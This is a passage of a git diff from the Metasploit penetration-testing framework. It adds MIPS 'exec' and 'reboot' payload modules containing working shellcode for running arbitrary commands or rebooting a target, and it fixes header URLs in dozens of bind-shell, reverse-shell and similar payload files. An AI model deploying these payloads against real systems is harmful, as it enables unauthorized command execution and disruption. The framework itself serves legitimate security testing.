'Offsets' => {} , + 'Payload' => '' + }) + ) + register_options( + [ + OptString.new('CMD', [ true, "The command string to execute" ]), + ], self.class) + end + + # + # Returns the command string to use for execution + # + def command_string + return datastore['CMD'] || '' + end + + def generate + + shellcode = + "\x24\x06\x06\x66" + #li a2,1638 + "\x04\xd0\xff\xff" + #bltzal a2,4100b4 + "\x28\x06\xff\xff" + #slti a2,zero,-1 + "\x27\xbd\xff\xe0" + #addiu sp,sp,-32 + "\x27\xe4\x10\x01" + #addiu a0,ra,4097 + "\x24\x84\xf0\x1f" + #addiu a0,a0,-4065 + "\xaf\xa4\xff\xe8" + #sw a0,-24(sp) + "\xaf\xa0\xff\xec" + #sw zero,-20(sp) + "\x27\xa5\xff\xe8" + #addiu a1,sp,-24 + "\x24\x02\x0f\xab" + #li v0,4011 + "\x01\x01\x01\x0c" #syscall 0x40404 + + # + # Constructs the payload + # + + shellcode = shellcode + command_string + "\x00" + + # we need to align our shellcode to 4 bytes + (shellcode = shellcode + "\x00") while shellcode.length%4 != 0 + + return super + shellcode + + end + +end diff --git a/modules/payloads/singles/linux/mipsbe/reboot.rb b/modules/payloads/singles/linux/mipsbe/reboot.rb new file mode 100644 index 0000000000..808975dbba --- /dev/null +++ b/modules/payloads/singles/linux/mipsbe/reboot.rb @@ -0,0 +1,55 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +module Metasploit3 + + include Msf::Payload::Single + include Msf::Payload::Linux + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Linux Reboot', + 'Description' => %q{ + A very small shellcode for rebooting the system. + This payload is sometimes helpful for testing purposes or executing + other payloads that rely on initial startup procedures. + }, + 'Author' => + [ + 'Michael Messner ', #metasploit payload + 'rigan - ' #original payload + ], + 'References' => + [ + ['URL', 'http://www.shell-storm.org/shellcode/files/shellcode-795.php'] + ], + 'License' => MSF_LICENSE, + 'Platform' => 'linux', + 'Arch' => ARCH_MIPSBE, + 'Payload' => + { + 'Offsets' => {} , + 'Payload' => '' + }) + ) + end + + def generate + shellcode = + "\x3c\x06\x43\x21" + #lui a2,0x4321 + "\x34\xc6\xfe\xdc" + #ori a2,a2,0xfedc + "\x3c\x05\x28\x12" + #lui a1,0x2812 + "\x34\xa5\x19\x69" + #ori a1,a1,0x1969 + "\x3c\x04\xfe\xe1" + #lui a0,0xfee1 + "\x34\x84\xde\xad" + #ori a0,a0,0xdead + "\x24\x02\x0f\xf8" + #li v0,4088 + "\x01\x01\x01\x0c" #syscall 0x40404 + + return super + shellcode + end + +end diff --git a/modules/payloads/singles/linux/mipsbe/shell_bind_tcp.rb b/modules/payloads/singles/linux/mipsbe/shell_bind_tcp.rb index 24a3ad0c2d..36b52ffb3d 100644 --- a/modules/payloads/singles/linux/mipsbe/shell_bind_tcp.rb +++ b/modules/payloads/singles/linux/mipsbe/shell_bind_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/linux/mipsbe/shell_reverse_tcp.rb b/modules/payloads/singles/linux/mipsbe/shell_reverse_tcp.rb index 63de7b66c9..c7b1efd77b 100644 --- a/modules/payloads/singles/linux/mipsbe/shell_reverse_tcp.rb +++ b/modules/payloads/singles/linux/mipsbe/shell_reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -25,7 +25,7 @@ module Metasploit3 ], 'References' => [ - 'EDB' => '18226', + ['EDB', '18226'] ], 'License' => MSF_LICENSE, 'Platform' => 'linux', diff --git a/modules/payloads/singles/linux/mipsle/exec.rb b/modules/payloads/singles/linux/mipsle/exec.rb new file mode 100644 index 0000000000..f8cafe62ed --- /dev/null +++ b/modules/payloads/singles/linux/mipsle/exec.rb @@ -0,0 +1,80 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +module Metasploit3 + + include Msf::Payload::Single + include Msf::Payload::Linux + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Linux Execute Command', + 'Description' => %q{ + A very small shellcode for executing commands. + This module is sometimes helpful for testing purposes as well as + on targets with extremely limited buffer space. + }, + 'Author' => + [ + 'Michael Messner ', #metasploit payload + 'entropy@phiral.net' #original payload + ], + 'References' => + [ + ['EDB', '17940'] + ], + 'License' => MSF_LICENSE, + 'Platform' => 'linux', + 'Arch' => ARCH_MIPSLE, + 'Payload' => + { + 'Offsets' => {} , + 'Payload' => '' + }) + ) + register_options( + [ + OptString.new('CMD', [ true, "The command string to execute" ]), + ], self.class) + end + + # + # Returns the command string to use for execution + # + def command_string + return datastore['CMD'] || '' + end + + def generate + + shellcode = + "\x66\x06\x06\x24" + # li a2,1638 + "\xff\xff\xd0\x04" + # bltzal a2,4100b4 + "\xff\xff\x06\x28" + # slti a2,zero,-1 + "\xe0\xff\xbd\x27" + # addiu sp,sp,-32 + "\x01\x10\xe4\x27" + # addiu a0,ra,4097 + "\x1f\xf0\x84\x24" + # addiu a0,a0,-4065 + "\xe8\xff\xa4\xaf" + # sw a0,-24(sp) + "\xec\xff\xa0\xaf" + # sw zero,-20(sp) + "\xe8\xff\xa5\x27" + # addiu a1,sp,-24 + "\xab\x0f\x02\x24" + # li v0,4011 + "\x0c\x01\x01\x01" # syscall 0x40404 + + # + # Constructs the payload + # + + shellcode = shellcode + command_string + "\x00" + + # we need to align our shellcode to 4 bytes + (shellcode = shellcode + "\x00") while shellcode.length%4 != 0 + + return super + shellcode + + end + +end diff --git a/modules/payloads/singles/linux/mipsle/reboot.rb b/modules/payloads/singles/linux/mipsle/reboot.rb new file mode 100644 index 0000000000..e28cdd2095 --- /dev/null +++ b/modules/payloads/singles/linux/mipsle/reboot.rb @@ -0,0 +1,54 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +module Metasploit3 + + include Msf::Payload::Single + include Msf::Payload::Linux + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Linux Reboot', + 'Description' => %q{ + A very small shellcode for rebooting the system. + This payload is sometimes helpful for testing purposes. + }, + 'Author' => + [ + 'Michael Messner ', #metasploit payload + 'rigan - ' #original payload + ], + 'References' => + [ + ['URL', 'http://www.shell-storm.org/shellcode/files/shellcode-795.php'] + ], + 'License' => MSF_LICENSE, + 'Platform' => 'linux', + 'Arch' => ARCH_MIPSLE, + 'Payload' => + { + 'Offsets' => {} , + 'Payload' => '' + }) + ) + end + + def generate + shellcode = + "\x21\x43\x06\x3c" + # lui a2,0x4321 + "\xdc\xfe\xc6\x34" + # ori a2,a2,0xfedc + "\x12\x28\x05\x3c" + # lui a1,0x2812 + "\x69\x19\xa5\x34" + # ori a1,a1,0x1969 + "\xe1\xfe\x04\x3c" + # lui a0,0xfee1 + "\xad\xde\x84\x34" + # ori a0,a0,0xdead + "\xf8\x0f\x02\x24" + # li v0,4088 + "\x0c\x01\x01\x01" # syscall 0x40404 + + return super + shellcode + end + +end diff --git a/modules/payloads/singles/linux/mipsle/shell_bind_tcp.rb b/modules/payloads/singles/linux/mipsle/shell_bind_tcp.rb index b3923af52e..ce145cc15d 100644 --- a/modules/payloads/singles/linux/mipsle/shell_bind_tcp.rb +++ b/modules/payloads/singles/linux/mipsle/shell_bind_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/linux/mipsle/shell_reverse_tcp.rb b/modules/payloads/singles/linux/mipsle/shell_reverse_tcp.rb index 08223e2b74..39a2e1f6d5 100644 --- a/modules/payloads/singles/linux/mipsle/shell_reverse_tcp.rb +++ b/modules/payloads/singles/linux/mipsle/shell_reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/linux/ppc/shell_bind_tcp.rb b/modules/payloads/singles/linux/ppc/shell_bind_tcp.rb index b1f8b410ab..1df14fa68d 100644 --- a/modules/payloads/singles/linux/ppc/shell_bind_tcp.rb +++ b/modules/payloads/singles/linux/ppc/shell_bind_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/linux/ppc/shell_find_port.rb b/modules/payloads/singles/linux/ppc/shell_find_port.rb index 279b3ffc2a..e30dbea684 100644 --- a/modules/payloads/singles/linux/ppc/shell_find_port.rb +++ b/modules/payloads/singles/linux/ppc/shell_find_port.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/linux/ppc/shell_reverse_tcp.rb b/modules/payloads/singles/linux/ppc/shell_reverse_tcp.rb index 74c2e5e04b..fb6bcb52f1 100644 --- a/modules/payloads/singles/linux/ppc/shell_reverse_tcp.rb +++ b/modules/payloads/singles/linux/ppc/shell_reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/linux/ppc64/shell_bind_tcp.rb b/modules/payloads/singles/linux/ppc64/shell_bind_tcp.rb index 18a9851db5..8ee9befe0d 100644 --- a/modules/payloads/singles/linux/ppc64/shell_bind_tcp.rb +++ b/modules/payloads/singles/linux/ppc64/shell_bind_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/linux/ppc64/shell_find_port.rb b/modules/payloads/singles/linux/ppc64/shell_find_port.rb index 0ad77eed41..f6d1d80740 100644 --- a/modules/payloads/singles/linux/ppc64/shell_find_port.rb +++ b/modules/payloads/singles/linux/ppc64/shell_find_port.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/linux/ppc64/shell_reverse_tcp.rb b/modules/payloads/singles/linux/ppc64/shell_reverse_tcp.rb index 34d78f3d8e..e06ce2bfef 100644 --- a/modules/payloads/singles/linux/ppc64/shell_reverse_tcp.rb +++ b/modules/payloads/singles/linux/ppc64/shell_reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/linux/x64/exec.rb b/modules/payloads/singles/linux/x64/exec.rb index e19b5fa0ef..ff079180a8 100644 --- a/modules/payloads/singles/linux/x64/exec.rb +++ b/modules/payloads/singles/linux/x64/exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/linux/x64/shell_bind_tcp.rb b/modules/payloads/singles/linux/x64/shell_bind_tcp.rb index dd63ea7360..d1db224fcd 100644 --- a/modules/payloads/singles/linux/x64/shell_bind_tcp.rb +++ b/modules/payloads/singles/linux/x64/shell_bind_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/linux/x64/shell_bind_tcp_random_port.rb b/modules/payloads/singles/linux/x64/shell_bind_tcp_random_port.rb index 10b553ae94..c00dfd7063 100644 --- a/modules/payloads/singles/linux/x64/shell_bind_tcp_random_port.rb +++ b/modules/payloads/singles/linux/x64/shell_bind_tcp_random_port.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/linux/x64/shell_find_port.rb b/modules/payloads/singles/linux/x64/shell_find_port.rb index addfefb6c5..547a328328 100644 --- a/modules/payloads/singles/linux/x64/shell_find_port.rb +++ b/modules/payloads/singles/linux/x64/shell_find_port.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/linux/x64/shell_reverse_tcp.rb b/modules/payloads/singles/linux/x64/shell_reverse_tcp.rb index f104820e98..040d73ed6f 100644 --- a/modules/payloads/singles/linux/x64/shell_reverse_tcp.rb +++ b/modules/payloads/singles/linux/x64/shell_reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/linux/x86/adduser.rb b/modules/payloads/singles/linux/x86/adduser.rb index 52aba7147f..e51ebd9233 100644 --- a/modules/payloads/singles/linux/x86/adduser.rb +++ b/modules/payloads/singles/linux/x86/adduser.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/linux/x86/chmod.rb b/modules/payloads/singles/linux/x86/chmod.rb index b784bb2449..3c4a8ed645 100644 --- a/modules/payloads/singles/linux/x86/chmod.rb +++ b/modules/payloads/singles/linux/x86/chmod.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/linux/x86/exec.rb b/modules/payloads/singles/linux/x86/exec.rb index 94e673d0ae..5217a0211b 100644 --- a/modules/payloads/singles/linux/x86/exec.rb +++ b/modules/payloads/singles/linux/x86/exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/linux/x86/metsvc_bind_tcp.rb b/modules/payloads/singles/linux/x86/metsvc_bind_tcp.rb index 26a3860309..eac17be5ba 100644 --- a/modules/payloads/singles/linux/x86/metsvc_bind_tcp.rb +++ b/modules/payloads/singles/linux/x86/metsvc_bind_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/linux/x86/metsvc_reverse_tcp.rb b/modules/payloads/singles/linux/x86/metsvc_reverse_tcp.rb index 4c473610c5..a54d6faeb7 100644 --- a/modules/payloads/singles/linux/x86/metsvc_reverse_tcp.rb +++ b/modules/payloads/singles/linux/x86/metsvc_reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/linux/x86/read_file.rb b/modules/payloads/singles/linux/x86/read_file.rb index 654c247ae1..91eeefc6df 100644 --- a/modules/payloads/singles/linux/x86/read_file.rb +++ b/modules/payloads/singles/linux/x86/read_file.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/linux/x86/shell_bind_ipv6_tcp.rb b/modules/payloads/singles/linux/x86/shell_bind_ipv6_tcp.rb index 9c57efdcc9..294ffdd425 100644 --- a/modules/payloads/singles/linux/x86/shell_bind_ipv6_tcp.rb +++ b/modules/payloads/singles/linux/x86/shell_bind_ipv6_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/linux/x86/shell_bind_tcp.rb b/modules/payloads/singles/linux/x86/shell_bind_tcp.rb index bc3a4cc439..927711a1c8 100644 --- a/modules/payloads/singles/linux/x86/shell_bind_tcp.rb +++ b/modules/payloads/singles/linux/x86/shell_bind_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/linux/x86/shell_bind_tcp_random_port.rb b/modules/payloads/singles/linux/x86/shell_bind_tcp_random_port.rb index d684ffba7f..14e5cd2613 100644 --- a/modules/payloads/singles/linux/x86/shell_bind_tcp_random_port.rb +++ b/modules/payloads/singles/linux/x86/shell_bind_tcp_random_port.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/linux/x86/shell_find_port.rb b/modules/payloads/singles/linux/x86/shell_find_port.rb index fdb9821467..33f30c552a 100644 --- a/modules/payloads/singles/linux/x86/shell_find_port.rb +++ b/modules/payloads/singles/linux/x86/shell_find_port.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/linux/x86/shell_find_tag.rb b/modules/payloads/singles/linux/x86/shell_find_tag.rb index 8d2cf11e04..92bbbe68b3 100644 --- a/modules/payloads/singles/linux/x86/shell_find_tag.rb +++ b/modules/payloads/singles/linux/x86/shell_find_tag.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/linux/x86/shell_reverse_tcp.rb b/modules/payloads/singles/linux/x86/shell_reverse_tcp.rb index ff1a8fe10e..3528f572f9 100644 --- a/modules/payloads/singles/linux/x86/shell_reverse_tcp.rb +++ b/modules/payloads/singles/linux/x86/shell_reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/linux/x86/shell_reverse_tcp2.rb b/modules/payloads/singles/linux/x86/shell_reverse_tcp2.rb index 4f02ac46d5..248f79b0c8 100644 --- a/modules/payloads/singles/linux/x86/shell_reverse_tcp2.rb +++ b/modules/payloads/singles/linux/x86/shell_reverse_tcp2.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/nodejs/shell_bind_tcp.rb b/modules/payloads/singles/nodejs/shell_bind_tcp.rb index 4676b098d9..815d000a73 100644 --- a/modules/payloads/singles/nodejs/shell_bind_tcp.rb +++ b/modules/payloads/singles/nodejs/shell_bind_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/nodejs/shell_reverse_tcp.rb b/modules/payloads/singles/nodejs/shell_reverse_tcp.rb index 4951855ae1..4017bf3d65 100644 --- a/modules/payloads/singles/nodejs/shell_reverse_tcp.rb +++ b/modules/payloads/singles/nodejs/shell_reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/nodejs/shell_reverse_tcp_ssl.rb b/modules/payloads/singles/nodejs/shell_reverse_tcp_ssl.rb index 5e14658ae1..d11ae25e0c 100644 --- a/modules/payloads/singles/nodejs/shell_reverse_tcp_ssl.rb +++ b/modules/payloads/singles/nodejs/shell_reverse_tcp_ssl.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/osx/armle/shell_bind_tcp.rb b/modules/payloads/singles/osx/armle/shell_bind_tcp.rb index a85c03e654..d036abb764 100644 --- a/modules/payloads/singles/osx/armle/shell_bind_tcp.rb +++ b/modules/payloads/singles/osx/armle/shell_bind_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/osx/armle/shell_reverse_tcp.rb b/modules/payloads/singles/osx/armle/shell_reverse_tcp.rb index b94c684691..502b949968 100644 --- a/modules/payloads/singles/osx/armle/shell_reverse_tcp.rb +++ b/modules/payloads/singles/osx/armle/shell_reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/osx/armle/vibrate.rb b/modules/payloads/singles/osx/armle/vibrate.rb index 976b500493..6b3aaefbf6 100644 --- a/modules/payloads/singles/osx/armle/vibrate.rb +++ b/modules/payloads/singles/osx/armle/vibrate.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/osx/ppc/shell_bind_tcp.rb b/modules/payloads/singles/osx/ppc/shell_bind_tcp.rb index eadff786e4..dec2d6f0f4 100644 --- a/modules/payloads/singles/osx/ppc/shell_bind_tcp.rb +++ b/modules/payloads/singles/osx/ppc/shell_bind_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/osx/ppc/shell_reverse_tcp.rb b/modules/payloads/singles/osx/ppc/shell_reverse_tcp.rb index ac20747d51..73d655ca95 100644 --- a/modules/payloads/singles/osx/ppc/shell_reverse_tcp.rb +++ b/modules/payloads/singles/osx/ppc/shell_reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/osx/x64/exec.rb b/modules/payloads/singles/osx/x64/exec.rb index 127ba4fef7..b335268e12 100644 --- a/modules/payloads/singles/osx/x64/exec.rb +++ b/modules/payloads/singles/osx/x64/exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/osx/x64/say.rb b/modules/payloads/singles/osx/x64/say.rb index 001bb2ad5c..c9f12d8880 100644 --- a/modules/payloads/singles/osx/x64/say.rb +++ b/modules/payloads/singles/osx/x64/say.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/osx/x64/shell_bind_tcp.rb b/modules/payloads/singles/osx/x64/shell_bind_tcp.rb index 4e1ed6c76f..2f7d0b2f60 100644 --- a/modules/payloads/singles/osx/x64/shell_bind_tcp.rb +++ b/modules/payloads/singles/osx/x64/shell_bind_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/osx/x64/shell_find_tag.rb b/modules/payloads/singles/osx/x64/shell_find_tag.rb index 05000e64c9..c6351dfad3 100644 --- a/modules/payloads/singles/osx/x64/shell_find_tag.rb +++ b/modules/payloads/singles/osx/x64/shell_find_tag.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/osx/x64/shell_reverse_tcp.rb b/modules/payloads/singles/osx/x64/shell_reverse_tcp.rb index 701a35e112..4b667f2805 100644 --- a/modules/payloads/singles/osx/x64/shell_reverse_tcp.rb +++ b/modules/payloads/singles/osx/x64/shell_reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/osx/x86/exec.rb b/modules/payloads/singles/osx/x86/exec.rb index becaa22176..f7cef13e2e 100644 --- a/modules/payloads/singles/osx/x86/exec.rb +++ b/modules/payloads/singles/osx/x86/exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/osx/x86/shell_bind_tcp.rb b/modules/payloads/singles/osx/x86/shell_bind_tcp.rb index c2c6d64d80..368c7c34bd 100644 --- a/modules/payloads/singles/osx/x86/shell_bind_tcp.rb +++ b/modules/payloads/singles/osx/x86/shell_bind_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/osx/x86/shell_find_port.rb b/modules/payloads/singles/osx/x86/shell_find_port.rb index a82e5be563..12e1407279 100644 --- a/modules/payloads/singles/osx/x86/shell_find_port.rb +++ b/modules/payloads/singles/osx/x86/shell_find_port.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/osx/x86/shell_reverse_tcp.rb b/modules/payloads/singles/osx/x86/shell_reverse_tcp.rb index a3c85b680f..37f7dc1076 100644 --- a/modules/payloads/singles/osx/x86/shell_reverse_tcp.rb +++ b/modules/payloads/singles/osx/x86/shell_reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/osx/x86/vforkshell_bind_tcp.rb b/modules/payloads/singles/osx/x86/vforkshell_bind_tcp.rb index f620478077..11d8d17be8 100644 --- a/modules/payloads/singles/osx/x86/vforkshell_bind_tcp.rb +++ b/modules/payloads/singles/osx/x86/vforkshell_bind_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/osx/x86/vforkshell_reverse_tcp.rb b/modules/payloads/singles/osx/x86/vforkshell_reverse_tcp.rb index fed5f2f815..548e6b6fdf 100644 --- a/modules/payloads/singles/osx/x86/vforkshell_reverse_tcp.rb +++ b/modules/payloads/singles/osx/x86/vforkshell_reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/php/bind_perl.rb b/modules/payloads/singles/php/bind_perl.rb index b5256c16d9..d90f57d99e 100644 --- a/modules/payloads/singles/php/bind_perl.rb +++ b/modules/payloads/singles/php/bind_perl.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -17,7 +17,7 @@ module Metasploit3 super(merge_info(info, 'Name' => 'PHP Command Shell, Bind TCP (via Perl)', 'Description' => 'Listen for a connection and spawn a command shell via perl (persistent)', - 'Author' => ['Samy ', 'cazz'], + 'Author' => ['Samy ', 'cazz'], 'License' => BSD_LICENSE, 'Platform' => 'php', 'Arch' => ARCH_PHP, diff --git a/modules/payloads/singles/php/bind_perl_ipv6.rb b/modules/payloads/singles/php/bind_perl_ipv6.rb index f6bca827aa..7144aa261c 100644 --- a/modules/payloads/singles/php/bind_perl_ipv6.rb +++ b/modules/payloads/singles/php/bind_perl_ipv6.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -17,7 +17,7 @@ module Metasploit3 super(merge_info(info, 'Name' => 'PHP Command Shell, Bind TCP (via perl) IPv6', 'Description' => 'Listen for a connection and spawn a command shell via perl (persistent) over IPv6', - 'Author' => ['Samy ', 'cazz'], + 'Author' => ['Samy ', 'cazz'], 'License' => BSD_LICENSE, 'Platform' => 'php', 'Arch' => ARCH_PHP, diff --git 